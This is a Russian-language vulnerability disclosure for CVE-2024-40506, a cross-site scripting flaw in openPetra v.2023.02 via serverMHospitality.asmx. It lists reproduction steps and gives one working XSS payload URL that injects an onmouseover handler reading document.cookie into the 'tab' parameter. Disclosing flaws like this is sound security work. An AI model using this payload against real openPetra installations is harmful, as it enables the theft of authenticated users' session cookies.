CVE-2024-40506

Уязвимость межсайтового скриптинга в openPetra v.2023.02 через функцию serverMHospitality.asmx

Описание: Неавторизованный пользователь может украсть cookies у аутентифицированного пользователя, используя XSS-уязвимость в openPetra v.2023.02 через функцию serverMHospitality.asmx.

Уязвимая версия продукта: openPetra v.2023.02
Автор CVE: Jansen Moreira Дата: 13/07/2024
CVE: CVE-2024-40506
Ссылка CVE: https://www.cve.org/CVERecord?id=CVE-2024-40506
Ссылка NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40506
Ссылка Tenable: https://www.tenable.com/cve/CVE-2024-40506
Подтверждено: 13/07/2024
Протестировано на: Linux

Шаги для воспроизведения:

1- Откройте домашнюю страницу
2- Используйте следующий путь и добавьте XSS-пейлоад в параметр tab. Например: http://target.com/api/serverMHospitality.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x=" 3- Наведите курсор мыши на левый элемент индекса, чтобы вызвать XSS